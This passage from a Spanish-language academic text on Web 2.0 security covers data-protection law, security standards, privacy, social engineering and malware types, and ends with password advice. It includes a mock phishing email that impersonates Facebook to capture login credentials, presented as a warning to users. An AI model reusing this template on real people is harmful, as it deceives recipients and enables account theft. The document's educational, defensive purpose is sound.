_en_las_Instits_europeas.pdf.
Convenios del Consejo Europeo:
Convenio Nº 108 del Consejo de Europa, de 28 de enero de 1981 (Para la

protección de las personas con respecto al tratamiento automatizado de datos de
carácter personal).
https://www.agpd.es/portalWebAGPD/canaldocumentacion/legislacion/consejo_
europa/convenios/common/pdfs/B.28-cp--CONVENIO-N-1o--108-DEL-
CONSEJO-DE-EUROPA.pdf.
Página 238
sociales
Convenio sobre Ciberdelincuencia.

https://www.agpd.es/portalWebAGPD/canaldocumentacion/legislacion/consejo_
europa/convenios/common/pdfs/Convenio_Ciberdelincuencia.pdf.
INSTITUCIONES Y ORGANIZACIONES
Como instituciones podemos destacar:
Brigada de Investigación Tecnológica (Cuerpo nacional de

policía):http://www.policia.es/bit/.
Guardia Civil: http://www.guardiacivil.org.
Ministerio de Educación: http://www.mepsyd.es/portada.html.
Ministerio de Industria, Turismo y Comercio: http://www.mityc.es/es-
ES/Paginas/index.aspx.
Ministerio de Ciencia e Innovación: http://www.micinn.es/portal/site/MICINN/.
Agencia Española de Protección de Datos (AEPD): https://www.agpd.es
Asociación Profesional Española de Privacidad (APEP).
Asociaciones:
Oficina de Seguridad del Internauta. http://www.osi.es/

Asociación de Usuarios de Internet. http://aui.es
Asociación de Internautas. http://www.internautas.org/.
Protégeles: http://www.protegeles.com/.
Acción contra la pornografía infantil, http://www.asociacion-acpi.org/.
Chaval: http://www.chaval.es/chavales/page?p=index
Ins@fe: http://www.saferinternet.org.
Safer Internet Programme (Unión
Europea):http://ec.europa.eu/information_society/activities/sip/index_en.htm.
Página 239
sociales
13.2. Leyes
13.2.1.LOPD
13.2.1.1.Introducción
La Ley Orgánica 15/1999 de 13 de diciembre de Protección de Datos de Carácter Personal
o LOPD, se trata de una Ley Orgánica de España relativa al tratamiento de los datos de
carácter personal, libertades públicas y derechos fundamentales de las personas físicas.
Podemos encontrar la ley en la página Web de Boletines Oficiales del Estado o BOE,
http://www.boe.es/aeboe/consultas/bases_datos/doc.php?coleccion=iberlex&id=1999/23750.
El objetivo principal es el tratamiento de los datos y ficheros de carácter personal

independientemente del soporte donde se almacenen, derechos y obligaciones de las
entidades que los crean o tratan.
La ley comprende un total de 49 artículos divididos en los siguientes 7 Títulos. Finaliza con seis
disposiciones adicionales, tres disposiciones transitorias, una disposición derogatoria y tres
disposiciones finales:
- Título I. Disposiciones Generales.

- Título II. Principios de la Protección de Datos.
- Título III. Derechos de las Personas.
- Título IV. Disposiciones Sectoriales.
o Capítulo I. Ficheros de Titularidad Pública.
o Capítulo II. Ficheros de Titularidad Privada.
- Título V. Movimiento Internacional de Datos.
- Título VI. Agencia Española de Protección de Datos.
- Título VII. Infracciones y Sanciones.
Los datos personales se clasifican según su mayor o menos grado de sensibilidad. Según el
grado de sensibilidad, los datos requerirán o no más requisitos legales y medidas de seguridad
de la información.
Las sanciones que se imponen por no cumplir con la LOPD son muy elevadas, van desde:
- Sanción leve (de 600€ a 60.000€).

- Sanción grave (de 60.000€ a 300.000€).
- Sanción muy grave (de 300.000€ a 600.000€).
A pesar de esto hay muchas empresas en nuestro país que no se han adecuado a la ley. El
órgano que se encarga del cumplimiento de esta ley es la Agencia Española de Protección de
Datos (AEPD), existiendo agencias autonómicas también.
Todas las redes sociales, incluidas las extranjeras, deben cumplir esta ley si operan en el
ámbito español.
Página 240
sociales
13.2.1.2. Relación con Web 2.0

Respecto al tratamiento de fotografías de menores no se pueden incluir imágenes de éstos
sin el consentimiento previo e inequívoco de los padres o representantes legales o si no
reúnen condiciones de madurez suficientes según lo establecido en los artículos 6.1 y 11.1.
Conviene recordar que, conforme a lo establecido en el artículo 2.a) de la Directiva 95/46/CE,

se entiende por dato personal “toda información sobre una persona física identificada o
identificable; se considerará identificable toda persona cuya identidad pueda determinarse,
directa o indirectamente, en particular mediante un número de identificación o uno o varios
elementos específicos, característicos de su identidad física, fisiológica, psíquica, económica,
cultural o social”.
La LOPD regula también la transferencia de datos internacionales como es el caso de

Facebook que tiene sus bases de datos en EEUU. La ley define como transferencia
internacional de datos el “tratamiento de datos que supone una transmisión de los mismos
fuera del territorio del Espacio Económico Europeo, bien constituya una cesión o
comunicación de datos, bien tenga por objeto la realización de un tratamiento de datos por
cuenta del responsable del fichero establecido en el territorio español”.
Quien pretenda transmitir datos de carácter personal fuera de España hacia países que no
proporcionen un nivel de protección equiparable al que presta la LOPD debe obtener la
autorización previa del Director de la Agencia de Protección de Datos. Los países que
proporcionan un nivel de protección equiparable a la LOPD son todos los que forman el
Espacio Económico Europeo (Unión Europea, Islandia, Lechtenstein y Noruega) y los que
la Comisión Europea ha declarado que garantizan un nivel de protección adecuado que son
Suiza, Argentina, Guernsey, Isla de Man, Estados Unidos y Canadá.
Las leyes aplicables a la transferencia de datos internacionales son:
LOPD (Título V: Movimiento Internacional de datos).

Reglamento LOPD (Título VI: Transferencias internacionales de datos).
Instrucción AEPD (Instrucción 1/2000, del 1 de diciembre, de la Agencia de Protección,
relativa a las normas por las que se rigen los movimientos internacionales de datos.
¿Cómo pueden se pueden adaptar las redes sociales a la LOPD?54
En caso de que una empresa o profesional quiera adecuar su sitio Web a lo dispuesto en la
LOPD, el trabajo a realizar sería el siguiente:
Analizar los ficheros existentes en el sitio Web.
Casi todos los sitios Web, especialmente los que trabajan con Bases de Datos (MySQL o
similar) mantienen en la Web de forma permanente una serie de ficheros (clientes,
suscriptores, personas registradas, etc.) a fin de poder atenderles y facilitarles acceso a zonas
privadas, o determinados servicios, cualquiera que sea la hora o el día en que entren en la
54
Referencia: http://www.consultores-ebusiness.com/index.php/web-20/164-adecuacion-de-sitios-web-a-la-lopd.html.
Página 241
sociales
Web. Y esos ficheros, como es lógico, almacenan datos de carácter personal, por lo que es
obligado darles el tratamiento que establece la LOPD.
Alta de los ficheros en la Agencia de Protección de Datos.
Cumplimentaremos los formularios oficiales necesarios para efectuar a través de Internet el

preceptivo registro de los ficheros identificados en el punto anterior en el Registro General de
la Agencia Española de Protección de Datos ubicados en Madrid.
Es importante hacer constar que sólo es necesario dar de alta la existencia de los ficheros,
pero no los datos que contienen, los cuales siempre permanecen en poder y conocimiento
exclusivo del Cliente.
Redacción de los "Contratos de tratamiento por cuenta de terceros".
La LOPD prohíbe expresamente la cesión a terceros de ficheros conteniendo datos de

personas físicas, algo muy habitual en la práctica empresarial. Por ejemplo: la cesión implícita
que se produce entre el dueño de la Web y la empresa que le lleva el mantenimiento de la
misma, o la que le presta el servicio de alojamiento de la Web, etc., ya que todas ellas pueden
acceder a los datos contenidos en los ficheros de la Web.
Para evitar sanciones por esta práctica, redactaremos los contratos que es obligatorio
suscribir entre las partes para amparar legalmente este tipo de cesiones de datos a otras
empresas, como las citadas anteriormente.
Es necesario destacar que el nuevo RLOPD establece la necesidad de que la empresa que
pretende contratar servicios externos que implican la cesión o el acceso a datos personales
deba, previamente, constatar que la empresa de servicios cumple con todas las obligaciones
derivadas de la LOPD, ya que en caso contrario no debe contratar con ella para evitar
sanciones.
Redacción de las Notas Legales.
También redactamos las notas legales que deben incorporarse en todos los lugares y
momentos donde se vaya a recoger información de carácter personal (formularios de
contacto en la Web, formularios de pedido en las tiendas virtuales, etc.).
Redacción de la Política de Privacidad.
También redactaremos la Política de Privacidad que es necesario incluir en un apartado

especial de la Web para indicar claramente a los visitantes la situación de legalidad de la Web
en relación con la LOPD, así como la forma en que pueden ejercer sus derechos de acceso,
oposición, rectificación o cancelación.
El coste estimado para adecuar un sitio Web a la LOPD es de 300 €.
Página 242
sociales
13.2.2. LSSI
13.2.2.1. Introducción
La Ley 34/2002 de 11 de julio de Servicios de la Sociedad de la Información y Comercio
Electrónico o LSSI (también llamada LSSICE). Más conocida como Ley de Servicios de la
Sociedad de la Información.
Esta ley se encarga de la regulación del régimen jurídico de los servicios de la sociedad de la
información y contrataciones electrónicas.
En la Web del ministerio podemos ver un folleto resumen de la ley

http://www.mityc.es/dgdsi/lssi/Paginas/Index.aspx o bien la ley completa la podemos
encontrar en la Web de Boletines Oficiales del Estado
http://www.boe.es/boe/dias/2002/07/12/pdfs/A25388-25403.pdf.
La ley se compone de 45 artículos divididos en 7 Títulos. Finaliza con varias disposiciones y un

anexo:
Título I. Disposiciones generales.

Capítulo I. Objeto.
Capítulo II. Ámbito de aplicación.
Título II. Prestación de servicios de la sociedad de la información.
Capítulo I. Principio de libre prestación de servicios.
Capítulo II. Obligaciones y régimen de responsabilidad de los prestadores de
servicios de la sociedad de la información.
Sección I. Obligaciones.
Sección II. Régimen de responsabilidad.
Capítulo III. Códigos de conducta.
Título III. Comunicaciones comerciales por vía electrónica.
Título IV. Contratación por vía electrónica.
Título V. Solución judicial y extrajudicial de conflictos.
Capítulo I. Acción de cesación.
Capítulo II. Solución extrajudicial de conflictos.
Título VI. Información y control.
Título VII. Infracciones y sanciones.
La ley regula los servicios de la sociedad de la información, según esta, un servicio de la

sociedad de la información es "todo servicio prestado normalmente a título oneroso, a
distancia, por vía electrónica y a petición individual del destinatario. El concepto de servicio de
la sociedad de la información comprende también los servicios no remunerados por sus
destinatarios, en la medida en que constituyan una actividad económica para el prestador de
servicios."
Página 243
sociales
Servicios de la sociedad de la información:
La contratación de bienes o servicios por vía electrónica.

La organización y gestión de subastas por medios electrónicos o de mercados y
centros comerciales virtuales.
La gestión de compras en la red por grupos de personas.
El envío de comunicaciones comerciales.
El suministro de información por vía telemática.
El vídeo bajo demanda, como servicio en que el usuario puede seleccionar a través
de la red, tanto el programa deseado como el momento de su suministro y
recepción.
En general, la distribución de contenidos previa petición individual.
No tienen consideración como servicios de la sociedad de la información:
Los servicios prestados por medio de telefonía vocal, fax o télex.

El intercambio de información por medio de correo electrónico u otro medio de
comunicación electrónica equivalente para fines ajenos a la actividad económica
de quienes lo utilizan.
Los servicios de radiodifusión televisiva (incluidos los servicios de cuasivídeo a la
carta), contemplados en el artículo 3.a) de la Ley 25/1994, de 12 de julio, por la que
se incorpora al ordenamiento jurídico español la Directiva 89/552/CEE, del
Consejo, de 3 de Octubre, sobre la coordinación de determinadas disposiciones
legales, reglamentarias y administrativas de los Estados miembros relativas al
ejercicio de actividades de radiodifusión televisiva, o cualquier otra que la
sustituya.
Los servicios de radiodifusión sonora, y
El teletexto televisivo y otros servicios equivalentes como las guías electrónicas de
programas ofrecidas a través de las plataformas televisivas.
Las sanciones por incumplir la LSSI, se dividen en:
Sanción leve (hasta laos 30.000€).

Sancione grave (de 30.001€ hasta 150.000€).
Sanción muy grave (de 150.001 a 600.000€).
El organismo competente es el mismo que la LOPD, la Agencia Española de Protección de

Datos.
Página 244
sociales
13.2.2.2. Relación con Web 2.0

La forma de cumplir con la LOPD y la LSSI para las Web 2.0 que operen con datos de carácter
personal dentro del ámbito español será55:
Notificación e inscripción en la Agencia Española de Protección de Datos de los

ficheros contenedores de datos de carácter personal, conforme al art. 19.2 de la
LSSI.
Inserción en su página Web, o modificación si ya existiese, de un Aviso legal o
Condiciones de Uso siguiendo las directrices marcadas por los arts. 10, 11 y 17 de
la LSSI y por el art. 5 de la LOPD.
Inclusión de las debidas Declaraciones legales en las comunicaciones electrónicas
que establezca con sus clientes, en aplicación de los arts. 19 y 20 de la LSSI.
Desarrollo de un Documento de seguridad, de carácter obligatorio, en el que se
documenten todas las medidas de seguridad que aplica su empresa para el
correcto tratamiento de los datos de carácter personal, según se establece por
medio del Real Decreto 994/1999 de 11 de junio.
55
Referencia: http://www.redycomercio.com/servicios_adaptacion_Web_lopd.php
Página 245
sociales
13.3. Estándares de seguridad

El diseño de la seguridad comienza aplicando una combinación del estándar UIT-T X.805
(“X.805”) y la certificación ISO/IEC 27000. Vamos a ver las claves principales de este estándar.
13.3.1. Metodología UIT-T X.805: Security architecture for systems

providing end-to-end communications
La UIT (Unión Internacional de Telecomunicaciones) es un organismo de las Naciones Unidas,
especializado en telecomunicaciones. El UIT-T (Sector de Normalización de las
Telecomunicaciones de la UIT) se encarga de estudiar los aspectos técnicos, de explotación y
tarifarios y publica recomendaciones sobre los mismos, con la visión final de la normalización
de las telecomunicaciones en el plano mundial.
En algunos sectores de las TI dentro de la competencia del UIT-T, se preparan las normas
necesarias colaborando con ISO y CEI.
La Unión Internacional de Comunicaciones (UIT), organismo perteneciente a la Organización

de las Naciones Unidas (ONU) estudias los aspectos técnicos, de explotación y tarifarios
publicando normativas sobre ellos con el objetivo de normalizar las tecnologías a nivel
mundial.
Las normas UIT-T o ITU-T (en inglés) son “Recomendaciones” gozando de un gran
reconocimiento internacional al pertenecer la UIT a la ONU56.
El estándar permite un análisis sistemático de la seguridad en el plano tecnológico. Permite el

análisis sistematizado de entornos complejos, servicios y aplicaciones en el ámbito
tecnológico.
No nos proporciona una metodología para abordar soluciones a problemas si no que nos da
las guías para la implantación de sistemas de protección en entornos multi-elemento y
multi-tecnologías muy complejos.
Normalmente cuando implantamos soluciones de seguridad en una red se abordan dos

enfoques:
El primer enfoque: se basa en asegurar cada componente de la red de manera

individual. También trata una implementación dirigida a prevenir accesos no
autorizados y mantenimiento de software de los servicios y aplicaciones que
proporciona.
El segundo enfoque se centra en el establecimiento de zonas estratégicas. Trate
de asegurar zonas inseguras estableciendo barreras
56
Referencia: http://www.borrmart.es/articulo_redseguridad.php?id=368&numero=16
Página 246
sociales
Capítulo 14
Privacidad
14.1. Introducción
En las redes sociales no existe la privacidad, en cuanto nos hacemos un perfil en una red social
cedemos nuestros datos personales a la Web y todo lo que colguemos en la red será de
dominio público, por ello hay que ser cautelosos a la hora de subir información de carácter
personal a este tipo de Webs 2.0.
Las redes sociales son muy ventajosas para todos, cada vez más y más internautas se unen a
ellas. En España en concreto, unos 13 millones de usuarios visitan como mínimo una red social
todos los meses. Somos el segundo país en Europa, tras Reino Unido en uso de redes sociales.
Las redes sociales más exitosas de nuestro país son Facebook, Tuenti y Myspace.
Las redes sociales traen ventajas pero también surgen con ellas nuevos problemas de
privacidad y de seguridad tanto a nivel informática como física. Los usuarios crean su propio
perfil incluyendo todo tipo de información personal. Estos usuarios se conectan con el resto
de gente en la red social. Los usuarios pueden controlar quién ve su información en la red
social, pero si indagamos en los términos de uso de redes sociales, veremos que al crear la red
social estamos otorgando la propiedad exclusiva y perpetua de toda la información que
incluyamos en nuestro perfil a la red social y que ésta puede transferirla a terceros sin nuestro
permiso. Si deseáramos eliminar nuestro perfil, no se hace de manera inmediata, si no que
puede permanecer en los servidores de la red el tiempo que ellos deseen.
El principal problema que surge con las redes sociales es el uso de datos de carácter personal
por parte de la red social y de terceros.
Otro tema importante es la posibilidad de creación de perfiles de usuario falsos. No hay

ningún método a nivel de certificados que pueda garantizarnos que esa persona es la que dice
ser. Con este tema relacionado, también podríamos entrar en el fraude de la suplantación de
identidad.
Otro debate importante en el tema de la privacidad 2.0 son las cookies. Los sitios Web y
navegadores almacenan datos de los usuarios con el fin de analizar el perfil del consumidor y
ofrecer publicidad on-line.
Página 247
sociales
Otro de los peligros de las redes sociales es el spam. En el mercado negro se pueden comprar
listados perfiles de Facebook o MySpace con su correo electrónico que las empresas pueden
usar indiscriminadamente para hacer publicidad. En este sentido hay una falta de legislación a
gran escala que debería generarse con los nuevos entornos 2.0.
Veremos todo este tipo de problemas de privacidad que surgen con las Web 2.0.
Obama aconsejó a los adolescentes estadounidenses acerca de la privacidad en las redes

sociales afirmando “be careful about what you post on Facebook because in the YouTube
age whatever you do, it will be pulled up again later somewhere in your life”. En España
tenemos múltiples casos de personas que han colgado videos en Youtube o programas de
televisión como Callejeros que se han hecho muy famosos por “hacer el ridículo” como los
videos “Contigo no bicho”, “Paga fantas”, “Pim Pam toma lacasitos”, etc.
Algunas personas afirman que las redes sociales son un instrumento de manipulación por
parte de los Gobiernos. Se han dado varios casos donde los Gobiernos han encontrado a
terroristas muy buscados gracias a portales como Facebook. Se ha dado algún caso donde el
Gobierno de EEUU ha encontrado a terroristas de Al Qaeda mediante Facebook. Para ver más
sobre este tema podemos consultar el artículo “Facebook Terrorista: La nueva arma del
Ejército de EEUU” de la Web CubaDebate,
http://www.cubadebate.cu/noticias/2009/08/19/facebook-terrorista-la-nueva-arma-del-
ejercito-de-los-estados-unidos/.
Ejemplo en nuestro país, es el caso de los terroristas de ETA Jon Rosales Palenzuela y Adur
Aristegi Aragón, que aparecen en la red social de Facebook con la camiseta de la selección
española con el perfil totalmente accesible, ¿por qué no agregar a alguien a nuestro perfil que
defiende los colores de la selección? Podemos consultar este artículo para más información
http://www.facebooknoticias.com/2010/02/18/rosales-presunto-terrorista-de-eta-aparece-en-
facebook-con-una-camiseta-de-la-seleccion-de-futbol-espanola/.
Podemos ver el siguiente video relacionado con la privacidad en las redes sociales en
Facebook algo exagerado ya que llega a poner en duda si Facebook “se asemeja a un régimen
totalitario virtual motivado ideológicamente”. Incluso en el video nos dice si “no estamos tan
lejos de la novela de George Orwell llamada 1984, en la que un personaje de carácter
omnipresente lo controla todo”.
Podemos ver el siguiente video referente a la privacidad en Facebook.
Ilustración 65. La cara oculta de Facebook.
Página 248
sociales
14.2. Ingeniería Social

Hoy en día los delitos informáticos en redes sociales están principalmente motivados por
incentivos económicos o de obtención de información privilegiada. La ingeniería social no es
más que la práctica de obtener información manipulando a los usuarios directamente.
El nivel de ataque puede ir desde un simple amigo al que le hemos dado nuestra contraseña
de Facebook y se mete en nuestro perfil para cotillear hasta ataques más sofisticados como
pueden ser los ataques de phishing.
La mayoría de fraudes que se cometen por internet no son debidos a la tecnología

exclusivamente, en la mayoría de los casos existe un componente de ingeniería social.
Vamos a ver algunos de estos ataques de ingeniería social en sus diferentes formas y como se
aplican a la Web 2.0.
14.2.1. Fraudes por correo electrónico

Los fraudes por correo electrónico son un ataque de ingeniería social muy usado, ya que el
correo electrónico es una herramienta muy potente para distribuir mensajes a un gran número
de personas a la vez.
Los fraudes por email tienen diferentes objetivos como el robo de contraseñas, números de
cuentas corrientes o tarjetas de crédito.
Existen varios tipos de fraudes conocidos en la historia de los ordenadores:
Phishing scam: emails que vienen supuestamente de Webs legítimas como

bancos o portales 2.0 como Facebook que nos envían supuestamente a la
página oficial para confirmar nuestros datos, siendo esta Web falsa y robando
así nuestros datos. Luego veremos un ejemplo de Phishing scam.
Spam: se tratan de mensajes de correo electrónico que llegan a nuestro buzón
y que no son solicitados por nosotros, no deseados o no conocemos el
remitente y que por norma general son de carácter publicitario y enviados a
cantidades masivas de usuarios. Normalmente en los correos se ofrecen
productos de dudosa calidad como Rolex o Viagra que son los más populares.
Normalmente se remite a los usuarios a una dirección falsa, así que viene a ser
un tipo de pishing scam.
Esquema de Nigeria: es una técnica muy antigua que nació en los años 20 con
el fax y que se trasladó al correo electrónico. Se trata de un mensaje enviado
de algún país africano como Nigeria o Costa de Marfil que nos pide ayuda para
sacar una gran cantidad de dinero del país ya que él no puede por algún
problema político o legal y ofrece una gran recompensa a cambio de ofrecer
algún cuenta corriente donde almacenar ese dinero.
Página 249
sociales
Pirámides: se trata de un correo electrónico en el que nos prometen una

ganancia rápida de dinero en poco tiempo por inversiones de dinero ínfimas
como por ejemplo 1€. En el correo aparece una lista de personas que han
hecho lo mismo que nosotros y que debemos de donar dinero a alguna de
ellas y reenviarle el correo a todos nuestros amigos.
Cadenas: cadenas de correo que difunden rumores o mensajes falsos y que
piden que reenviemos por algún motivo de amenaza o de esperanza.
Básicamente para ataques 2.0 principalmente nos veremos afectados por el Phishing scam.
¿Qué deben hacer los usuarios frente a estos correos?:
No contestar nunca a correos que piden dinero o datos de carácter personal

como contraseñas, tarjetas de crédito o número de cuenta bancaria.
No hacer clic en los links de estos correos. Si se cree que el mensaje puede ser
legítimo, por ejemplo si viene de Facebook, no pinchar en el link sino ir al
navegador y escribir nosotros directamente la dirección en la barra Web
www.facebook.com.
Cualquier correo que nos llegue de un amigo en inglés y/o con ofertas
desconocidas sobre artículos o pidiéndonos datos de carácter personal,
deberá archivarse en la carpeta de spam.
Página 250
sociales
14.2.2. Phishing
El término proviene de fishing o pesca, que haría referencia a hacer que los usuarios piquen en
el anzuelo. Esta técnica de ingeniería social se basa en que el atacante se hace pasar por
alguien de confianza como una empresa o una persona y redirecciona a la víctima a un sitio
Web fraudulento que aparentemente es el sitio oficial de ese portal Web.
Normalmente los links a estos portales fraudulentos se envían o por correo electrónico, lo que
llamábamos antes pishing scam o por mensajería instantánea.
El objetivo de esta técnica es obtener datos de cuentas bancarias de los usuarios o el robo de
contraseñas, normalmente enfocado el ataque a un beneficio económico que obtendrá el
atacante.
Normalmente el pishing más usado es el pishing scam. Los atacantes suelen jugar con el
desconocimiento del usuario. Vamos a ver un ejemplo de ello.
Ejemplo de ataque phishing scam con Facebook

Vamos a ponernos en el caso de que un amigo nuestro a empresa quiere obtener información
de nuestro perfil de Facebook de manera fraudulenta. Este amigo nos envía un correo
haciéndose pasar por el personal de Facebook e indicando en el correo que para no tener
perfiles inactivos se ha enviado un correo a todos los usuarios para que confirmen su usuario y
contraseña y sino lo hacen se les cerrará el perfil.
Veamos el ejemplo de correo en la siguiente página.
Página 251
sociales
Asunto: Notificación de Facebook de cierre de cuentas
de Facebook <[email protected]> 12 sep
hora local del Enviado a la(s) 07:14 (GMT-07:00). Hora local del remitente: 10:46 ✆
remitente
responder a noreply <[email protected]>
para María Ángeles Caballero Velasco <[email protected]>
fecha 12 de septiembre de 2010 07:14
asunto Tienes 1 amigo que cumple años esta semana.
enviado por facebookcorreo.com
firmado por facebookcorreo.com
facebook
Hola, María Ángeles:
El personal de Facebook ha estado investigado las cuentas de los usuarios de Facebook que están
inactivas. Con motivo de evitar los perfiles falsos o inactivos de nuestros usuarios, deseamos conocer si
usted hace uso de su perfil. Para ello accedo a la Web oficial www.facebook.comy notifíquenos sus datos
de nuevo. En caso de no ocurrir esto, se cerrará el perfil en cuestión de un par de semanas.
También puedes acceder a tu perfile de Facebook usar Facebook a través de www.facebook.profile.com
Gracias,
El equipo de Facebook
Este mensaje estaba destinado a [email protected]. ¿Deseas controlar los mensajes de correo
electrónico que recibes de Facebook? Visita la página de Notificaciones.
Facebook, Inc. P.O. Box 10005, Palo Alto, CA 94303
Página 252
sociales
Todo parece correcto y no debería haber ningún problema al acceder a www.facebook.com.

El problema es que es vínculo no lleva a la Web oficial sino que lleva a una Web idénticamente
igual que la oficial pero que está alojada en el servidor del atacante.
Si pasamos el ratón por encima de los vínculos nos damos cuenta de que no van a donde
supuestamente debería llevarnos si no que nos llevan a una Web llamada
www.miperfildefacebookk.com, la cual no da demasiada confianza.
El usuario pinchará en el link de www.facebook.com y accederá a la siguiente Web:
Ilustración 66. Ejemplo de pishing scam con Facebook.
Aparentemente todo parece correcto, pero si nos fijamos en la barra de direcciones no es

Facebook.com si no otra Web. La victima introducirá su usuario y contraseña y esta
información se enviará directamente al servidor del atacante.
Como vemos una técnica bastante sofisticada que combina ingeniería social con tecnología.
Página 253
sociales
14.2.3. Malware
Se trata de un programa malicioso que se introduce en una máquina sin el consentimiento del
usuario y con el objetivo de dañar el sistema o extraer datos de manera ilícita.
Vamos a ver los tipos de malware más comunes.
Virus.
Gusanos.
Troyanos.
Rootkits.
Spyware.
Adware.
Keyloggers
Stealers.
Las vías más comunes de infección de este software son a través de Internet mediante correos
electrónicos o vía web mediantes archivos infectados. Otra vía muy común y peligrosa para las
empresas son los dispositivos USB.
Este tipo de infecciones son muy peligrosas para las empresas porque podemos llegar a tener
un número elevado de botnets o “zombies” y que los administradores de seguridad lo
desconozcan ya que algunos de ellos son indetectables por muchos antivirus. El tener este
tipo de ordenadores infectados o robots informáticos podrían provocar que el atacante
extrajera información sensible o provocar una denegación de servicio (DDoS) y dejar
inhabilitados los servidores de nuestro CPD lo que podría causar graves pérdidas para la
empresa.
Vamos a ver brevemente de que se trata los tipos de malware comentados.
Virus y gusanos: son los más extendidos y se trata de programas que infectan el equipo
realizando acciones maliciosas. Puede inutilizar archivos, borrarlos, bloquear funciones del
sistema operativo, etc. Se propagan a través de un ejecutable que puede estar encubierto y se
hace vía e-mail, Web, documentos u otros.
Uno de los gusanos más sonados últimamente es el Stuxnet, conocido a partir de junio de
2010. Se trata de un gusano muy bien hecho que reprograma los sistemas SCADA de control y
monitorización de procesos y que incluye un rootkit para sistemas reprogramables PLC.
Veremos una noticia de esto posteriormente referida con el ataque a las plantas nucleares de
Irán por este gusano.
Troyanos: se trata de software malicioso que se instala en el equipo que se presenta al usuario
como algo legítimo de primeras y al ejecutarlo ocasiona daños en el equipo, normalmente
permite el acceso remoto por parte del atacante al equipo. La diferencia con los virus es que
no se propagan solos a otras máquinas.
Uno de los troyanos que se están extendiendo más últimamente son los del tipo rogueware,
toda una especialidad dentro del malware de hoy en día. Se tratan de troyanos enfocados
principalmente a sistemas Windows que se hacen pasar por un antivirus ficticio. El falso
Página 254
sociales
antivirus nos dice que estamos infectados y que para desinfectarnos deberemos pagar con
tarjeta de crédito para ello. Algunas de las marcas ficticias son Red Cross", "Peak Protection",
"AntiSpaySafeguard" o "Pest Detector". Podemos ver un ejemplo de estos troyanos realizado
por Hispasec http://www.youtube.com/watch?v=TqVm-BP2X00&feature=related.
Otro tipo de troyano que se empieza a extender es el ransomware, que se trata de un troyano
de criptografía asimétrica para cifrar los archivos de usuario para así pedir un rescate por ellos
mediante PayPal o cualquier servicio postal de giro facilitando el anonimato. En ocasiones los
archivos pueden quedar inservibles.
Rootkits: se trata de una herramienta que tiene el fin de esconderse a sí misma y esconder
procesos, archivos, puertos, claves de registro, etc. Normalmente esconden aplicaciones que
se usan para el ataque de un sistema concreto. Lo peor de este tipo del malware es que
algunos rootkits no solo van a nivel de aplicación si no que también atacan a nivel de kernel
pudiendo llegar a instalarse en la BIOS de nuestro sistema.
Spyware y Adware: quizá este tipo de malware es el que viene más ligado a la Web 2.0. Este
tipo de programas recopilan información sobre las actividades que realiza el usuario a través
de la red para distribuirla por agencias de publicidad u otras empresas. Recogen información
sobre las cookies de usuario, barras de herramientas de los navegadores, historial de
navegación, etc. El Adware muestra publicidad al usuario de manera intrusiva mediante pop-
us que son muy incómodos para el usuario.
Keyloggers y Stealers: se trata de programas maliciosos creados para robar datos de la

víctima. Los keyloggers recogen todas las pulsaciones del teclado para poder así extraer
contraseñas y otra información. Los stealers también roban información que se encuentra
almacenada en el equipo como contraseñas almacenadas en navegadores o clientes de
mensajería instantánea.
Este tipo de malware ha hecho que los bancos y cajas para prevenirse, incluyan un sistema de
logueo por click de ratón o intercambio de números por letras, así nunca se teclearía
directamente la contraseña para loguearse.
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sociales
Planta nuclear en Irán sufre ataque de gusano (FUENTE: HTTP://WWW.ALT1040.COM/)

El gusano Stuxnet se dio a conocer a mediados de 2010 pero tiene componentes de
timestamping desde febrero. Se estima que se trata de un gusano desarrollado por un equipo
de ingenieros de unas 6 a 8 personas y durante un periodo de tiempo elevado, más de 6
meses.
Ilustración 67. Noticia: Planta nuclear en Iran sufre ataque de gusano: http://alt1040.com/2010/09/planta-
nuclear-en-iran-sufre-ataque-de-gusano.
En agosto de 2010 los países más afectados por el ataque fueron Iran, Indonesia, India,
Estados Unidos, Australia, Gran Bretaña, Malasia, Pakistan y Alemania, por ese orden. Se
tiene indicios de que Israel podría estar detrás de este ataque.
Este gusano esta desarrollado para sistemas Windows y emplea hasta cuatro vulnerabilidades
de día cero. Ataca a sistemas SCADA, que se trata de programas de monitorización y control
industrial.
Se trata de un gusano muy complejo y se requieren conocimientos de procesos industriales y

el deseo de atacar infraestructuras industriales.
Página 256
sociales
14.2.4. Contraseñas
Este ataque trata de robar las contraseñas de los usuarios del correo electrónico por ejemplo
engañando de manera ilegal al usuario.
Normalmente se envía un correo a la victima preguntándole por su contraseña por cualquier

razón como que nuestra cuenta va a ser eliminada si no lo hacemos o que vamos a obtener
determinados servicios VIP en la red social si lo hacen los primeros 1000 usuarios, etc. Se
realiza mediante un formulario de preguntas o similiar, directamente desde el correo
electrónico.
También puede ocurrir que alguien que se hace pasar por un amigo tuyo te pida tu cuenta de
correo por algún programa de mensajería instantánea y pensando que es nuestro amigo se la
demos.
Consejos para que los hackers no se hagan con nuestras contraseñas

Cambiaremos nuestras contraseñas de los portales 2.0 a menudo y nos
aseguraremos que se mantienen en privado.
Las contraseñas serán seguras conteniendo mayúsculas, minúsculas, número
y símbolos ya que sino un ataque de fuerza bruta podría adivinarla sin mucho
esfuerzo.
No compartir la contraseña con nadie nunca. Los portales 2.0 nunca te
pedirán tu contraseña y menos a través del correo electrónico.
Si recibimos algún correo desde una fuente supuestamente segura, no
clikearemos en los links del correo, accederemos a la Web de la manera
habitual, escribiendo nosotros la dirección web.
No abrir nunca archivos adjuntos de fuentes desconocidas, podría ser
programas maliciosos que nos redirijan a una Web fraudulenta.
Siempre que hayamos terminado de visitar nuestra red social cerraremos
sesión, así evitaremos intrusismos no deseados.
Los correos electrónicos ofensivos o de acoso no se contestarán, ya que
estaremos dando más información a la víctima, sabrá que ese correo está
activo.
Instalar las últimas actualizaciones del sistema operativo y del navegador para
no caer en fallos de seguridad del propio fabricante.
Si nos vamos a conectar a paginas que haga falta login no lo haremos desde
una red no segura, es decir desde la red del vecino o similar.
Página 257
sociales
Robo masivo de contraseñas57

En febrero de 2010 se produjo un ataque proveniente de China y Europa que consiguió
